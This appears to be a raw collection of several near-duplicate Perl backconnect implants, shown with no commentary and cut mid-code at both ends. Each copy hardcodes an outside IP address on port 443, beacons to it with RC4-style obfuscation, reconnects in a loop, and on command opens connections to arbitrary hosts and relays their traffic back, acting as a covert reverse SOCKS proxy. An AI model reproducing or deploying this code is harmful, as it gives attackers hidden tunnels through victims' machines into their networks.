$socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '36.255.98.174'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.199'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.171'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '36.255.98.184'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = 